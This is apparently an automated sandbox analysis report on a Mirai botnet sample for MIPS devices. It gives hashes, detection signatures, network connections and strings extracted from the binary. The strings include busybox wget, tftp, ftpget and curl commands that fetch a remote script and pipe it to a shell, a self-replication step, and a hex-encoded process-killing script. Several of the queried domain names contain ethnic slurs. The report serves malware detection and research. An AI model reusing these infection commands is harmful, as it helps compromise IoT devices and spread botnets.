Linux Analysis Report
EdO1baKdpe.elf

Overview

General Information

Sample name: EdO1baKdpe.elf
renamed because original name is a hash value
Original sample name: 04b71ad2d18aad0bd477243cd45454cb.elf
Analysis ID: 1432444
MD5: 04b71ad2d18aad0bd477243cd45454cb
SHA1: b142e03e3a24e1916c0353f9bd7e421aee5ba041
SHA256: 9723feb391bcd784ff4cea83318a9964059d5a021fccd9878e5919c92753c64f
Tags: 32elfmipsmirai
Infos:

Detection

Mirai
Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected Mirai
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: EdO1baKdpe.elf ReversingLabs: Detection: 57%
Source: EdO1baKdpe.elf Virustotal: Detection: 35% Perma Link
Source: EdO1baKdpe.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking

barindex
Source: Traffic Snort IDS: 2027973 ET EXPLOIT HiSilicon DVR - Default Telnet Root Password Inbound 192.168.2.23:38668 -> 186.132.110.62:23
Source: global traffic DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: hiakamai.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: himrresearcher.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: burnthe.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: dogeatingchink.parody. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: infectedslurs.geek. [malformed]
Source: global traffic TCP traffic: 192.168.2.23:37354 -> 5.181.80.189:38241
Source: global traffic TCP traffic: 192.168.2.23:49650 -> 204.76.203.103:38241
Source: /tmp/EdO1baKdpe.elf (PID: 6223) Socket: 127.0.0.1::39148 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 216.71.253.138
Source: unknown TCP traffic detected without corresponding DNS query: 195.123.162.53
Source: unknown TCP traffic detected without corresponding DNS query: 113.193.101.72
Source: unknown TCP traffic detected without corresponding DNS query: 206.24.231.244
Source: unknown TCP traffic detected without corresponding DNS query: 72.250.141.71
Source: unknown TCP traffic detected without corresponding DNS query: 158.19.143.138
Source: unknown TCP traffic detected without corresponding DNS query: 147.75.194.243
Source: unknown TCP traffic detected without corresponding DNS query: 159.88.58.38
Source: unknown TCP traffic detected without corresponding DNS query: 126.235.43.21
Source: unknown TCP traffic detected without corresponding DNS query: 219.1.125.38
Source: unknown TCP traffic detected without corresponding DNS query: 203.26.11.231
Source: unknown TCP traffic detected without corresponding DNS query: 216.166.186.85
Source: unknown TCP traffic detected without corresponding DNS query: 170.250.19.169
Source: unknown TCP traffic detected without corresponding DNS query: 177.51.218.35
Source: unknown TCP traffic detected without corresponding DNS query: 103.204.16.116
Source: unknown TCP traffic detected without corresponding DNS query: 198.37.118.121
Source: unknown TCP traffic detected without corresponding DNS query: 164.48.127.195
Source: unknown TCP traffic detected without corresponding DNS query: 46.174.31.48
Source: unknown TCP traffic detected without corresponding DNS query: 4.229.37.249
Source: unknown TCP traffic detected without corresponding DNS query: 34.7.220.130
Source: unknown TCP traffic detected without corresponding DNS query: 99.159.112.187
Source: unknown TCP traffic detected without corresponding DNS query: 187.106.190.55
Source: unknown TCP traffic detected without corresponding DNS query: 23.192.43.104
Source: unknown TCP traffic detected without corresponding DNS query: 58.5.85.210
Source: unknown TCP traffic detected without corresponding DNS query: 187.212.22.132
Source: unknown TCP traffic detected without corresponding DNS query: 106.159.226.131
Source: unknown TCP traffic detected without corresponding DNS query: 99.205.112.209
Source: unknown TCP traffic detected without corresponding DNS query: 78.213.156.108
Source: unknown TCP traffic detected without corresponding DNS query: 23.218.65.228
Source: unknown TCP traffic detected without corresponding DNS query: 205.205.232.125
Source: unknown TCP traffic detected without corresponding DNS query: 177.14.1.220
Source: unknown TCP traffic detected without corresponding DNS query: 77.101.51.240
Source: unknown TCP traffic detected without corresponding DNS query: 218.23.113.6
Source: unknown TCP traffic detected without corresponding DNS query: 145.138.60.254
Source: unknown TCP traffic detected without corresponding DNS query: 206.127.199.245
Source: unknown TCP traffic detected without corresponding DNS query: 87.78.18.110
Source: unknown TCP traffic detected without corresponding DNS query: 159.145.40.192
Source: unknown TCP traffic detected without corresponding DNS query: 217.32.247.18
Source: unknown TCP traffic detected without corresponding DNS query: 97.251.122.167
Source: unknown TCP traffic detected without corresponding DNS query: 219.111.218.231
Source: unknown TCP traffic detected without corresponding DNS query: 66.196.36.198
Source: unknown TCP traffic detected without corresponding DNS query: 196.157.19.152
Source: unknown TCP traffic detected without corresponding DNS query: 94.176.185.187
Source: unknown TCP traffic detected without corresponding DNS query: 91.14.30.144
Source: unknown TCP traffic detected without corresponding DNS query: 109.178.60.101
Source: unknown TCP traffic detected without corresponding DNS query: 23.193.31.236
Source: unknown TCP traffic detected without corresponding DNS query: 199.90.115.220
Source: unknown TCP traffic detected without corresponding DNS query: 25.247.50.60
Source: unknown TCP traffic detected without corresponding DNS query: 183.91.250.33
Source: global traffic DNS traffic detected: DNS query: freethemonkeys.pirate
Source: global traffic DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: DNS query: hiakamai.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: himrresearcher.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: burnthe.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: dogeatingchink.parody. [malformed]
Source: global traffic DNS traffic detected: DNS query: infectedchink.pirate
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: infectedslurs.geek. [malformed]
Source: EdO1baKdpe.elf String found in binary or memory: http:///curl.sh
Source: EdO1baKdpe.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal68.troj.linELF@0/134@11/0
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6252/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6252/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6251/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6251/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6254/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6254/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6253/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6253/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6234/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6234/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6256/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6256/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6255/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6255/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6310/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6310/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6247/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6247/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6258/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6258/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6246/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6246/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6257/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6257/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6250/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6250/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6294/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6294/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6249/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6249/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6248/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6248/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6259/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6259/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6259/maps Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6230) File opened: /proc/6259/cmdline Jump to behavior
Source: /tmp/EdO1baKdpe.elf (PID: 6223) Queries kernel information via 'uname': Jump to behavior
Source: EdO1baKdpe.elf, 6223.1.0000558acd0a7000.0000558acd12e000.rw-.sdmp, EdO1baKdpe.elf, 6227.1.0000558acd0a7000.0000558acd12e000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mipsel
Source: EdO1baKdpe.elf, 6223.1.0000558acd0a7000.0000558acd12e000.rw-.sdmp, EdO1baKdpe.elf, 6227.1.0000558acd0a7000.0000558acd12e000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: EdO1baKdpe.elf, 6223.1.00007ffef972f000.00007ffef9750000.rw-.sdmp, EdO1baKdpe.elf, 6227.1.00007ffef972f000.00007ffef9750000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/EdO1baKdpe.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/EdO1baKdpe.elf
Source: EdO1baKdpe.elf, 6223.1.00007ffef972f000.00007ffef9750000.rw-.sdmp, EdO1baKdpe.elf, 6227.1.00007ffef972f000.00007ffef9750000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel

Stealing of Sensitive Information

barindex
Source: Yara match File source: dump.pcap, type: PCAP

Remote Access Functionality

barindex
Source: Yara match File source: dump.pcap, type: PCAP
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs